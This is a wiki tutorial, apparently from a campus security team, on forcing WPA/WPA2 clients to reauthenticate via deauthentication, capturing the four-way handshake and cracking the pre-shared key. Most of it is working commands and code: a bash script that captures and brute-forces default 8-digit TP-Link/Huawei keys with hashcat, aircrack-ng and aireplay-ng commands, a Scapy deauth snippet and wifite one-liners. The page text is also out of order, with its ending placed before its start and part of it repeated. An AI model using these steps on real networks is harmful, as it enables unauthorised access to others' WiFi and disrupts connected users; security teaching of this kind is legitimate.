<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

Explaination: -c selects the Channel on which the router is sending, --bssid is the MAC Address of the Router -w shows the Mode "PSK" and wlan0mon is the capturing device.
With this command, airodump-ng records the traffic and saves it into different *.cap files.

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)
* DSTIKE Deauther Watch V1

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T18:06:37Z

RSchuller: /* Capture handshake */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
